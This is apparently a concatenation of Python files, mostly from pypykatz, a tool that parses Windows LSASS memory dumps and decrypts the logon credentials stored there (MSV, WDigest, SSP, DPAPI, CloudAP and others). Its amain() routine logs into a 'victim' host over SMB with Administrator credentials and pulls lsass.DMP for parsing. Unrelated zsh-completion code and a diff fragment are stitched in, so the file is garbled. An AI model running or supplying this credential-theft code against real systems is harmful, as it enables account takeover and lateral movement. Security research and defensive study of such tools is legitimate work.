1035 class RTL_AVL_TABLE:
1036 def __init__(self):
1037 self.BalancedRoot = None
1038 self.OrderedPointer = None
1039 self.WhichOrderedElement = None
1040 self.NumberGenericTableElements = None
1041 self.DepthOfTree = None
1042 self.RestartKey = None
1043 self.DeleteCount = None
1044 self.CompareRoutine = None
1045 self.AllocateRoutine = None
1046 self.FreeRoutine = None
1047 self.TableContext = None
1048
1049 @staticmethod
1050 async def load(reader):
1051 res = RTL_AVL_TABLE()
1052 res.BalancedRoot = await RTL_BALANCED_LINKS.load(reader)
1053 res.OrderedPointer = await PVOID.load(reader)
1054 res.WhichOrderedElement = await ULONG.loadvalue(reader)
1055 res.NumberGenericTableElements = await ULONG.loadvalue(reader)
1056 res.DepthOfTree = await ULONG.loadvalue(reader)
1057 await reader.align()
1058 res.RestartKey = await PRTL_BALANCED_LINKS.load(reader)
1059 res.DeleteCount = await ULONG.loadvalue(reader)
1060 await reader.align()
1061 res.CompareRoutine = await PVOID.load(reader)
1062 res.AllocateRoutine = await PVOID.load(reader)
1063 res.FreeRoutine = await PVOID.load(reader)
1064 res.TableContext = await PVOID.load(reader)
1065 return res
1066
1067 class PLSAISO_DATA_BLOB(POINTER):
1068 def __init__(self):
1069 super().__init__()
1070
1071 @staticmethod
1072 async def load(reader):
1073 p = PLSAISO_DATA_BLOB()
1074 p.location = reader.tell()
1075 p.value = await reader.read_uint()
1076 p.finaltype = LSAISO_DATA_BLOB
1077 return p
1078
1079 class LSAISO_DATA_BLOB:
1080 size = 9*4 + 3*16 + 16 #+sizeof array ?ANYSIZE_ARRAY
1081 def __init__(self):
1082 self.structSize = None
1083 self.unk0 = None
1084 self.typeSize = None
1085 self.unk1 = None
1086 self.unk2 = None
1087 self.unk3 = None
1088 self.unk4 = None
1089 self.unkKeyData = None
1090 self.unkData2 = None
1091 self.unk5 = None
1092 self.origSize = None
1093 self.data = None #size determined later
1094
1095 @staticmethod
1096 async def load(reader):
1097 res = LSAISO_DATA_BLOB()
1098 res.structSize = await DWORD.loadvalue(reader)
1099 res.unk0 = await DWORD.loadvalue(reader)
1100 res.typeSize = await DWORD.loadvalue(reader)
1101 res.unk1 = await DWORD.loadvalue(reader)
1102 res.unk2 = await DWORD.loadvalue(reader)
1103 res.unk3 = await DWORD.loadvalue(reader)
1104 res.unk4 = await DWORD.loadvalue(reader)
1105 res.unkKeyData = await reader.read(3*16)
1106 res.unkData2 = await reader.read(16)
1107 res.unk5 = await DWORD.loadvalue(reader)
1108 res.origSize = await DWORD.loadvalue(reader)
1109 res.data = None #size determined later
1110 return res
1111
1112
1113 class ENC_LSAISO_DATA_BLOB:
1114 def __init__(self):
1115 self.unkData1 = None
1116 self.unkData2 = None
1117 self.data = None
1118
1119 @staticmethod
1120 async def load(reader):
1121 res = ENC_LSAISO_DATA_BLOB()
1122 res.unkData1 = await reader.read(16)
1123 res.unkData2 = await reader.read(16)
1124 res.data = None #size determined later
1125 return res
1126
1127 class GUID:
1128 def __init__(self):
1129 self.Data1 = None
1130 self.Data2 = None
1131 self.Data3 = None
1132 self.Data4 = None
1133 self.value = None
1134
1135 @staticmethod
1136 async def loadvalue(reader):
1137 t = await GUID.load(reader)
1138 return t.value
1139
1140
1141 @staticmethod
1142 async def load(reader):
1143 res = GUID()
1144 res.Data1 = await DWORD.loadvalue(reader)
1145 res.Data2 = await WORD.loadvalue(reader)
1146 res.Data3 = await WORD.loadvalue(reader)
1147 res.Data4 = await reader.read(8)
1148 res.value = '-'.join([
1149 hex(res.Data1)[2:].zfill(8),
1150 hex(res.Data2)[2:].zfill(4),
1151 hex(res.Data3)[2:].zfill(4),
1152 hex(int.from_bytes(res.Data4[:2], byteorder = 'big', signed = False))[2:].zfill(4),
1153 hex(int.from_bytes(res.Data4[2:], byteorder = 'big', signed = False))[2:].zfill(12)
1154 ])
1155 return res
1156
1157 class PLIST_ENTRY(POINTER):
1158 def __init__(self):
1159 super().__init__()
1160
1161 @staticmethod
1162 async def load(reader):
1163 p = PLIST_ENTRY()
1164 p.location = reader.tell()
1165 p.value = await reader.read_uint()
1166 p.finaltype = LIST_ENTRY
1167 return p
1168
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import platform
7 import json
8 import asyncio
9 import base64
10 import traceback
11
12 from pypykatz.commons.common import KatzSystemInfo
13 from pypykatz.alsadecryptor import CredmanTemplate, MsvTemplate, \
14 MsvDecryptor, WdigestTemplate, LsaTemplate, WdigestDecryptor, \
15 LiveSspTemplate, LiveSspDecryptor, SspDecryptor, SspTemplate, \
16 TspkgDecryptor, TspkgTemplate, \
17 DpapiTemplate, DpapiDecryptor, LsaDecryptor,CloudapTemplate,\
18 CloudapDecryptor
19 #KerberosTemplate, KerberosDecryptor,
20 from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession
21 from pypykatz import logger
22 from pypykatz.commons.common import UniversalEncoder
23 from minidump.aminidumpfile import AMinidumpFile
24 from minikerberos.common.ccache import CCACHE
25 from pypykatz._version import __version__
26
27 class apypykatz:
28 def __init__(self, reader, sysinfo):
29 self.reader = reader
30 self.sysinfo = sysinfo
31 self.credentials = []
32 self.architecture = None
33 self.operating_system = None
34 self.buildnumber = None
35 self.lsa_decryptor = None
36
37 self.logon_sessions = {}
38 self.orphaned_creds = []
39 self.errors = []
40 self.kerberos_ccache = CCACHE()
41
42 def to_dict(self):
43 t = {}
44 t['logon_sessions'] = {}
45 for ls in self.logon_sessions:
46 # print(ls)
47 t['logon_sessions'][ls] = (self.logon_sessions[ls].to_dict())
48 t['orphaned_creds'] = []
49 for oc in self.orphaned_creds:
50 t['orphaned_creds'].append(oc.to_dict())
51
52 t['errors'] = []
53 for pkg, err in self.errors:
54 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
55 err_str = base64.b64encode(err_str.encode()).decode()
56 t['errors'].append((pkg,err_str))
57 return t
58
59 def to_json(self):
60 return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)
61
62 def to_grep(self):
63 res = ':'.join(LogonSession.grep_header) + '\r\n'
64 for luid in self.logon_sessions:
65 for row in self.logon_sessions[luid].to_grep_rows():
66 res += ':'.join(row) + '\r\n'
67 for cred in self.orphaned_creds:
68 t = cred.to_dict()
69 if t['credtype'] != 'dpapi':
70 if t['password'] is not None:
71 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
72 res += ':'.join(x) + '\r\n'
73 else:
74 t = cred.to_dict()
75 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
76 res += ':'.join(x) + '\r\n'
77
78 for pkg, err in self.errors:
79 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
80 err_str = base64.b64encode(err_str.encode()).decode()
81 x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', err_str]
82 res += ':'.join(x) + '\r\n'
83
84 return res
85
86 def __str__(self):
87 res = '== Logon credentials ==\r\n'
88 for luid in self.logon_sessions:
89 res += str(self.logon_sessions[luid]) + '\r\n'
90
91 if len(self.orphaned_creds) > 0:
92 res += '== Orphaned credentials ==\r\n'
93 for cred in self.orphaned_creds:
94 res += str(cred) + '\r\n'
95
96 if len(self.errors) > 0:
97 res += '== Errors ==\r\n'
98 for pkg, err in self.errors:
99 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
100 err_str = base64.b64encode(err_str.encode()).decode()
101 res += '%s %s \r\n' % (pkg+'_exception_please_report',err_str)
102
103 return res
104
105 @staticmethod
106 async def parse_minidump_file(filename, packages = ['all'], chunksize=10*1024):
107 try:
108 minidump = await AMinidumpFile.parse(filename)
109 reader = minidump.get_reader().get_buffered_reader(chunksize)
110 sysinfo = KatzSystemInfo.from_minidump(minidump)
111 except Exception as e:
112 logger.exception('Minidump parsing error!')
113 raise e
114 try:
115 mimi = apypykatz(reader, sysinfo)
116 await mimi.start(packages)
117 except Exception as e:
118 #logger.info('Credentials parsing error!')
119 mimi.log_basic_info()
120 raise e
121 return mimi
122
123 @staticmethod
124 async def parse_minidump_external(handle, packages = ['all'], chunksize=10*1024):
125 """
126 Parses LSASS minidump file based on the file object.
127 File object can really be any object as longs as
128 it implements read, seek, tell functions with the
129 same parameters as a file object would.
130
131 handle: file like object
132 """
133 minidump = await AMinidumpFile.parse_external(handle)
134 reader = minidump.get_reader().get_buffered_reader(chunksize)
135 sysinfo = KatzSystemInfo.from_minidump(minidump)
136 mimi = apypykatz(reader, sysinfo)
137 await mimi.start(packages)
138 return mimi
139
140
141 def log_basic_info(self):
142 """
143 In case of error, please attach this to the issues page
144 """
145 logger.info('===== BASIC INFO. SUBMIT THIS IF THERE IS AN ISSUE =====')
146 logger.info('pypyKatz version: %s' % __version__)
147 logger.info('CPU arch: %s' % self.sysinfo.architecture.name)
148 logger.info('OS: %s' % self.sysinfo.operating_system)
149 logger.info('BuildNumber: %s' % self.sysinfo.buildnumber)
150 logger.info('MajorVersion: %s ' % self.sysinfo.major_version)
151 logger.info('MSV timestamp: %s' % self.sysinfo.msv_dll_timestamp)
152 logger.info('===== BASIC INFO END =====')
153
154 async def get_logoncreds(self):
155 credman_template = CredmanTemplate.get_template(self.sysinfo)
156 msv_template = MsvTemplate.get_template(self.sysinfo)
157 logoncred_decryptor = MsvDecryptor(self.reader, msv_template, self.lsa_decryptor, credman_template, self.sysinfo)
158 await logoncred_decryptor.start()
159 self.logon_sessions = logoncred_decryptor.logon_sessions
160
161 async def get_lsa_bruteforce(self):
162 #good luck!
163 logger.debug('Testing all available templates! Expect warnings!')
164 for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo):
165 try:
166 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
167 await lsa_dec.acquire_crypto_material()
168 lsa_dec.dump()
169 except:
170 pass
171 else:
172 logger.debug('Lucky you! Brutefoce method found a -probably- working template!')
173 return lsa_dec
174
175 async def get_lsa(self):
176 #trying with automatic template detection
177 try:
178 lsa_dec_template = LsaTemplate.get_template(self.sysinfo)
179 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
180 await lsa_dec.acquire_crypto_material()
181 lsa_dec.dump()
182 except Exception as e:
183 logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e))
184 lsa_dec = await self.get_lsa_bruteforce()
185 if lsa_dec is None:
186 raise Exception('All detection methods failed.')
187 return lsa_dec
188 else:
189 return lsa_dec
190
191 async def get_wdigest(self):
192 decryptor_template = WdigestTemplate.get_template(self.sysinfo)
193 decryptor = WdigestDecryptor(self.reader, decryptor_template, self.lsa_decryptor, self.sysinfo)
194 await decryptor.start()
195 for cred in decryptor.credentials:
196 if cred.luid in self.logon_sessions:
197 self.logon_sessions[cred.luid].wdigest_creds.append(cred)
198 else:
199 self.orphaned_creds.append(cred)
200
201 async def get_tspkg(self):
202 tspkg_dec_template = TspkgTemplate.get_template(self.sysinfo)
203 tspkg_dec = TspkgDecryptor(self.reader, tspkg_dec_template, self.lsa_decryptor, self.sysinfo)
204 await tspkg_dec.start()
205 for cred in tspkg_dec.credentials:
206 if cred.luid in self.logon_sessions:
207 self.logon_sessions[cred.luid].tspkg_creds.append(cred)
208 else:
209 self.orphaned_creds.append(cred)
210
211 async def get_ssp(self):
212 dec_template = SspTemplate.get_template(self.sysinfo)
213 dec = SspDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo)
214 await dec.start()
215 for cred in dec.credentials:
216 if cred.luid in self.logon_sessions:
217 self.logon_sessions[cred.luid].ssp_creds.append(cred)
218 else:
219 self.orphaned_creds.append(cred)
220
221 async def get_livessp(self):
222 livessp_dec_template = LiveSspTemplate.get_template(self.sysinfo)
223 livessp_dec = LiveSspDecryptor(self.reader, livessp_dec_template, self.lsa_decryptor, self.sysinfo)
224 await livessp_dec.start()
225 for cred in livessp_dec.credentials:
226 if cred.luid in self.logon_sessions:
227 self.logon_sessions[cred.luid].livessp_creds.append(cred)
228 else:
229 self.orphaned_creds.append(cred)
230
231 async def get_dpapi(self):
232 dec_template = DpapiTemplate.get_template(self.sysinfo)
233 dec = DpapiDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo)
234 await dec.start()
235 for cred in dec.credentials:
236 if cred.luid in self.logon_sessions:
237 self.logon_sessions[cred.luid].dpapi_creds.append(cred)
238 else:
239 self.orphaned_creds.append(cred)
240
241 #async def get_kerberos(self, with_tickets = True):
242 # dec_template = KerberosTemplate.get_template(self.sysinfo)
243 # dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo)
244 # await dec.start()
245 # for cred in dec.credentials:
246 # for ticket in cred.tickets:
247 # for fn in ticket.kirbi_data:
248 # self.kerberos_ccache.add_kirbi(ticket.kirbi_data[fn].native)
249 #
250 # if cred.luid in self.logon_sessions:
251 # self.logon_sessions[cred.luid].kerberos_creds.append(cred)
252 # else:
253 # self.orphaned_creds.append(cred)
254
255 async def get_cloudap(self):
256 cloudap_dec_template = CloudapTemplate.get_template(self.sysinfo)
257 if cloudap_dec_template is None:
258 return
259 cloudap_dec = CloudapDecryptor(self.reader, cloudap_dec_template, self.lsa_decryptor, self.sysinfo)
260 await cloudap_dec.start()
261 for cred in cloudap_dec.credentials:
262 if cred.luid in self.logon_sessions:
263 self.logon_sessions[cred.luid].cloudap_creds.append(cred)
264 else:
265 self.orphaned_creds.append(cred)
266
267 async def start(self, packages = ['all']):
268 #self.log_basic_info()
269 #input()
270 self.lsa_decryptor = await self.get_lsa()
271 if 'msv' in packages or 'all' in packages:
272 try:
273 await self.get_logoncreds()
274 except Exception as e:
275 self.errors.append(('msv', e))
276
277 if 'wdigest' in packages or 'all' in packages:
278 try:
279 await self.get_wdigest()
280 except Exception as e:
281 self.errors.append(('wdigest', e))
282
283 #if 'kerberos' in packages or 'ktickets' in packages or 'all' in packages:
284 # with_tickets = False
285 # if 'ktickets' in packages or 'all' in packages:
286 # with_tickets = True
287 # await self.get_kerberos(with_tickets)
288
289 if 'tspkg' in packages or 'all' in packages:
290 try:
291 await self.get_tspkg()
292 except Exception as e:
293 self.errors.append(('tspkg', e))
294
295 if 'ssp' in packages or 'all' in packages:
296 try:
297 await self.get_ssp()
298 except Exception as e:
299 self.errors.append(('ssp', e))
300
301 if 'livessp' in packages or 'all' in packages:
302 try:
303 await self.get_livessp()
304 except Exception as e:
305 self.errors.append(('livessp', e))
306
307 if 'dpapi' in packages or 'all' in packages:
308 try:
309 await self.get_dpapi()
310 except Exception as e:
311 self.errors.append(('dpapi', e))
312
313 if 'cloudap' in packages or 'all' in packages:
314 try:
315 await self.get_cloudap()
316 except Exception as e:
317 self.errors.append(('cloudap', e))
318
319 async def amain():
320 from aiosmb.commons.connection.url import SMBConnectionURL
321 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
322
323 import sys
324 f=sys.argv[1]
325 print(f)
326
327 url = 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/lsass.DMP'
328 smburl = SMBConnectionURL(url)
329 connection = smburl.get_connection()
330 smbfile = smburl.get_file()
331
332 async with connection:
333 _, err = await connection.login()
334 if err is not None:
335 raise err
336
337 _, err = await smbfile.open(connection)
338 if err is not None:
339 raise err
340
341 mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile))
342 print(mimi)
343
344 def main():
345 import logging
346 logging.basicConfig(level=1)
347 asyncio.run(amain())
348
349 if __name__ == '__main__':
350 main()
0 #!/usr/bin/env python3
1 # -*- coding: utf-8 -*-
2 #
3 # zpycompletion
4 #
5 # Copyright 2015 Spencer McIntyre <[email protected]>
6 #
7 # Redistribution and use in source and binary forms, with or without
8 # modification, are permitted provided that the following conditions are
9 # met:
10 #
11 # * Redistributions of source code must retain the above copyright
12 # notice, this list of conditions and the following disclaimer.
13 # * Redistributions in binary form must reproduce the above
14 # copyright notice, this list of conditions and the following disclaimer
15 # in the documentation and/or other materials provided with the
16 # distribution.
17 # * Neither the name of the nor the names of its
18 # contributors may be used to endorse or promote products derived from
19 # this software without specific prior written permission.
20 #
21 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
22 # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
23 # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
24 # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
25 # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
26 # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
27 # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
28 # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
29 # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
30 # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
31 # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
32 #
33
34 import argparse
35 import contextlib
36 import datetime
37 import imp
38 import os
39 import pwd
40 import sys
41
42 import jinja2
43
44 __all__ = ['make_completion_from_argparse']
45 __version__ = '1.2'
46
47 # script.arguments
48 # script.author
49 # script.c_year
50 # script.name
51 # script.subparser_cmds
52 # script.subparsers
53 # version
54 ZSH_COMPLETION_TEMPLATE = """\
55 #compdef {{ script.name }}
56 # ------------------------------------------------------------------------------
57 # Copyright (c) {{ script.c_year }} {{ script.author }}
58 # All rights reserved.
59 #
60 # Redistribution and use in source and binary forms, with or without
61 # modification, are permitted provided that the following conditions are met:
62 # * Redistributions of source code must retain the above copyright
63 # notice, this list of conditions and the following disclaimer.
64 # * Redistributions in binary form must reproduce the above copyright
65 # notice, this list of conditions and the following disclaimer in the
66 # documentation and/or other materials provided with the distribution.
67 # * Neither the name of the project nor the
68 # names of its contributors may be used to endorse or promote products
69 # derived from this software without specific prior written permission.
70 #
71 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
72 # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
73 # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
74 # DISCLAIMED. IN NO EVENT SHALL ZSH-USERS BE LIABLE FOR ANY
75 # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
76 # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
77 # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
78 # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
79 # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
80 # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
81 # ------------------------------------------------------------------------------
82 # Description
83 # -----------
84 #
85 # Completion script for {{ script.name }}.
86 #
87 # ------------------------------------------------------------------------------
88 # Authors
89 # -------
90 #
91 # * {{ script.author }}
92 #
93 # ------------------------------------------------------------------------------
94 # Generated with zpycompletion v{{ version }}
95 {% for subparser_cmd in script.subparser_cmds %}
96
97 {{ subparser_cmd.name }}() {
98 _arguments \\
99 {% for line in subparser_cmd.arguments %}
100 {{ line }}
101 {% endfor %}
102 }
103 {% endfor %}
104
105 {% for subparser in script.subparsers %}
106
107 {{ subparser.name }}() {
108 local -a _subparser_cmds
109 _subparser_cmds=(
110 {% for action in subparser.actions %}
111 "{{ action.name }}:{{ action.help }}"
112 {% endfor %}
113 )
114
115 if (( CURRENT == {{ subparser.position }} )); then
116 _describe "commands" _subparser_cmds
117 else
118 local curcontext="$curcontext"
119 cmd="${${_subparser_cmds[(r)$words[{{ subparser.position }}]:*]%%:*}}"
120 if (( $#cmd )); then
121 if (( $+functions[{{ subparser.name }}_cmd_$cmd] )); then
122 {% if subparser.position > 1 -%}
123 (( CURRENT -= {{ subparser.position - 1 }} ))
124 shift {{ subparser.position - 1 }} words
125 {% endif -%}
126 {{ subparser.name }}_cmd_$cmd CURRENT
127 else
128 _files
129 fi
130 else
131 _message "unknown command: $words[{{ subparser.position }}]"
132 fi
133 fi
134 }
135 {% endfor %}
136 _arguments \\
137 {% for line in script.arguments %}
138 {{ line }}
139 {% endfor %}
140 """
141
142 def _actions_sort(action):
143 if len(action.option_strings):
144 return sorted(action.option_strings)[-1]
145 return ''
146
147 def _argument_action(action):
148 zarg_action = ''
149 if action.choices:
150 zarg_action = ':(' + ' '.join(action.choices) + ')'
151 elif isinstance(action.type, argparse.FileType):
152 zarg_action = ':_files'
153 return zarg_action
154
155 class _ZshCompletion(object):
156 def __init__(self, parser):
157 self.parser = parser
158 self.arguments = []
159 self.subparsers = []
160 self.subparser_cmds = []
161 actions = sorted(self.parser._actions, key=_actions_sort)
162 self.arguments = self._parse_actions(actions)
163
164 def _parse_actions(self, actions, subparser_name=None):
165 lines = []
166 subparser = None
167 positional = 1
168 for action in actions:
169 if isinstance(action, argparse._SubParsersAction):
170 subparser = (action, positional)
171 continue
172 if isinstance(action, argparse._HelpAction):
173 lines.append("{-h,--help}\"[show help text]\"")
174 continue
175
176 if len(action.option_strings) == 0: # positional
177 if isinstance(action.nargs, int) and action.nargs > 1:
178 for _ in range(positional, (positional + action.nargs)):
179 lines.append("\"{0}::{1}{2}\"".format(positional, action.dest, _argument_action(action)))
180 positional += 1
181 continue
182 elif action.nargs in (argparse.REMAINDER, '*', '+'):
183 line = '"*'
184 elif action.nargs in (None, 1, '?'):
185 line = '"' + str(positional)
186 positional += 1
187 line += ':' + action.dest
188 else:
189 if len(action.option_strings) == 1:
190 options = '"' + action.option_strings[0]
191 else:
192 options = '{' + ','.join(action.option_strings) + '}"'
193 if isinstance(action, argparse._AppendAction):
194 line = '"*"' + options + "[{0}]:{1}".format(action.help, action.dest.replace('_', ' '))
195 elif isinstance(action, argparse._StoreAction):
196 line = options + "[{0}]:{1}".format(action.help, action.dest.replace('_', ' '))
197 elif isinstance(action, argparse._VersionAction):
198 line = options + '[show version information]'
199 elif isinstance(action, argparse._StoreConstAction):
200 line = options + '[' + action.help + ']'
201 else:
202 continue
203 line += _argument_action(action) + '"'
204 lines.append(line)
205
206 if subparser:
207 subparser, position = subparser
208 subp_actions = map(lambda a: dict(name=a.dest, help=a.help), subparser._choices_actions)
209 subp_dest = ('action' if subparser.dest == argparse.SUPPRESS else subparser.dest)
210 subp_name = (subparser_name or '_subparser') + '_' + subp_dest
211 self.subparsers.append(dict(name=subp_name, position=position, actions=subp_actions))
212
213 lines.append("\"*::{0}:{1}\"".format(subp_dest, subp_name))
214 for key, value in subparser._name_parser_map.items():
215 subp_cmd_name = "{0}_cmd_{1}".format(subp_name, key)
216 subp_cmd_arguments = self._parse_actions(value._actions, subparser_name=subp_name)
217 self.subparser_cmds.append(dict(name=subp_cmd_name, arguments=subp_cmd_arguments))
218
219 for i in range(len(lines) - 1):
220 lines[i] = lines[i] + ' \\'
221 return lines
222
223 def make_completion_from_argparse(parser, destination=None, input_prompt=True):
224 """
225 Create a zsh completion file from a :py:class:`argparse.ArgumentParser`
226 instance.
227
228 :param parser: The parser instance to build completions for.
229 :type parser: :py:class:`argparse.ArgumentParser`
230 :param bool input_prompt: Whether to prompt for user input or not.
231 """
232 script = {}
233 #script['author'] = pwd.getpwuid(os.getuid()).pw_gecos
234 #if input_prompt:
235 # script['author'] = input("[?] author ({0}): ".format(script['author'])) or script['author']
236 #script['c_year'] = datetime.date.today().year
237 #if input_prompt:
238 # script['c_year'] = input("[?] copyright year ({0}): ".format(script['c_year'])) or script['c_year']
239 #script['name'] = parser.prog
240 #if input_prompt:
241 # script['name'] = input("[?] script name ({0}): ".format(script['name'])) or script['name']
242
243 zsh_comp = _ZshCompletion(parser)
244 script['arguments'] = zsh_comp.arguments
245 script['subparsers'] = zsh_comp.subparsers
246 script['subparser_cmds'] = zsh_comp.subparser_cmds
247
248 return script
249 #env = jinja2.Environment(trim_blocks=True)
250 #template = env.from_string(ZSH_COMPLETION_TEMPLATE)
251 #destination = destination or '_' + script['name']
252 #with open(destination, 'w') as file_h:
253 # file_h.write(template.render(script=script, version=__version__))
254 #print('[*] completion saved as: ' + destination)
255
256 class _FakeArgparse(object):
257 def __init__(self):
258 self.parser = None
259
260 def __getattr__(self, name):
261 if name == 'ArgumentParser':
262 return self._hook
263 return getattr(argparse, name)
264
265 def _hook(self, *args, **kwargs):
266 self.parser = argparse.ArgumentParser(*args, **kwargs)
267 return self.parser
268
269 @contextlib.contextmanager
270 def _muted_std_streams():
271 stdout = sys.stdout
272 stderr = sys.stderr
273 sys.stdout = open(os.devnull, 'w')
274 sys.stderr = open(os.devnull, 'w')
275 try:
276 yield
277 except Exception:
278 raise
279 finally:
280 sys.stdout = stdout
281 sys.stderr = stderr
282
283 def main():
284 parser = argparse.ArgumentParser()
285 parser.add_argument('-m', '--method', dest='target_function', default='main', help='the function which creates the ArgumentParser instance')
286 parser.add_argument('-o', '--output', dest='output', help='the path to write the completion file to')
287 parser.add_argument('--no-prompt', dest='input_prompt', default=True, action='store_false', help='do not prompt for input')
288 parser.add_argument('script', help='the python script to load from')
289 arguments = parser.parse_args()
290
291 script = os.path.abspath(arguments.script)
292 if not os.path.isfile(script):
293 print('[-] invalid script file: ' + script)
294 return
295 script_path, script_name = os.path.split(script)
296
297 sys.path.append(script_path)
298 script_import_name = script_name
299 if script_import_name.endswith('.py'):
300 script_import_name = script_name[:-3]
301
302 sys.dont_write_bytecode = True
303 sys.modules['argparse'] = _FakeArgparse()
304 print('[*] importing: ' + script_import_name)
305 try:
306 module = imp.load_source(script_import_name, script)
307 except SyntaxError:
308 print('[!] failed to import the python file')
309 return
310
311 if not hasattr(module, arguments.target_function):
312 print("[-] the specified script has no {0}() function".format(arguments.target_function))
313 print('[-] can not automatically get the parser instance')
314 return
315
316 sys.argv = [script_name, '--help']
317 try:
318 with _muted_std_streams():
319 getattr(module, arguments.target_function)()
320 except SystemExit:
321 pass
322 if not sys.modules['argparse'].parser:
323 print("[-] no parser was created in {0}.{1}()".format(script_name, arguments.target_function))
324 return
325 make_completion_from_argparse(sys.modules['argparse'].parser, destination=arguments.output, input_prompt=arguments.input_prompt)
326
327 if __name__ == '__main__':
328 main()
0
1 import pprint
2 from .argparsertest import make_completion_from_argparse
3
4
5 def argpretty(parser):
6
7 #print(1)
8 #input(pprint.pprint(parser.__dict__))
9 #print(2)
10 #input(pprint.pprint(parser.__dict__['_actions']))
11
12 x = make_completion_from_argparse(parser)
13 pprint.pprint(x['subparsers'])
14
15 for key in x:
16 print(key)
17
18 input()
19 for rd in x['subparser_cmds']:
20 print(rd['name'])
21
22
23 input()
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import traceback
56 import enum
67 import json
78 import datetime
89 from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE
10
11 def geterr(err:Exception):
12 t = str(err) + '\r\n'
13 for line in traceback.format_tb(err.__traceback__):
14 t += line
15 return t
916
1017 class KatzSystemArchitecture(enum.Enum):
1118 X86 = enum.auto()
168175 else:
169176 self.move(pos)
170177 return self.read_uint()
178 #raw_data = self.read(pos, self.sizeof_long)
179 #return struct.unpack(self.unpack_long, raw_data)[0]
180
181 class AGenericReader:
182 def __init__(self, data, processor_architecture = KatzSystemArchitecture.X64):
183 """
184 data is bytes
185 """
186 self.processor_architecture = processor_architecture
187 self.start_address = 0
188 self.end_address = len(data)
189 self.size = len(data)
190 self.data = data
191 self.current_position = 0
192
193 def inrange(self, ptr):
194 return self.start_address <= ptr <= self.end_address
195
196 async def seek(self, offset, whence = 0):
197 """
198 Changes the current address to an offset of offset. The whence parameter controls from which position should we count the offsets.
199 0: beginning of the current memory segment
200 1: from current position
201 2: from the end of the current memory segment
202 If you wish to move out from the segment, use the 'move' function
203 """
204 if whence == 0:
205 t = self.start_address + offset
206 elif whence == 1:
207 t = self.current_position + offset
208 elif whence == 2:
209 t = self.end_address - offset
210 else:
211 raise Exception('Seek function whence value must be between 0-2')
212
213 if not self.inrange(t):
214 raise Exception('Seek would point out of buffer')
215
216 self.current_position = t
217 return
218
219 async def move(self, address):
220 """
221 Moves the buffer to a virtual address specified by address
222 """
223 await self.seek(address)
224 return
225
226 async def align(self, alignment = None):
227 """
228 Repositions the current reader to match architecture alignment
229 """
230 if alignment is None:
231 if self.processor_architecture == KatzSystemArchitecture.X64:
232 alignment = 8
233 else:
234 alignment = 4
235 offset = self.current_position % alignment
236 if offset == 0:
237 return
238 offset_to_aligned = (alignment - offset) % alignment
239 await self.seek(offset_to_aligned, 1)
240 return
241
242 def tell(self):
243 """
244 Returns the current virtual address
245 """
246 return self.current_position
247
248 async def peek(self, length):
249 """
250 Returns up to length bytes from the current memory segment
251 """
252 t = self.current_position + length
253 if not self.inrange(t):
254 raise Exception('Would read out of buffer!')
255 return self.data[self.current_position - self.start_address :t - self.start_address]
256
257 async def read(self, size = -1):
258 """
259 Returns data bytes of size size from the current segment. If size is -1 it returns all the remaining data bytes from memory segment
260 """
261 if size < -1:
262 raise Exception('You shouldnt be doing this')
263 if size == -1:
264 oldnew_pos = self.current_position
265 self.current_position = self.end_address
266 return self.data[oldnew_pos:]
267
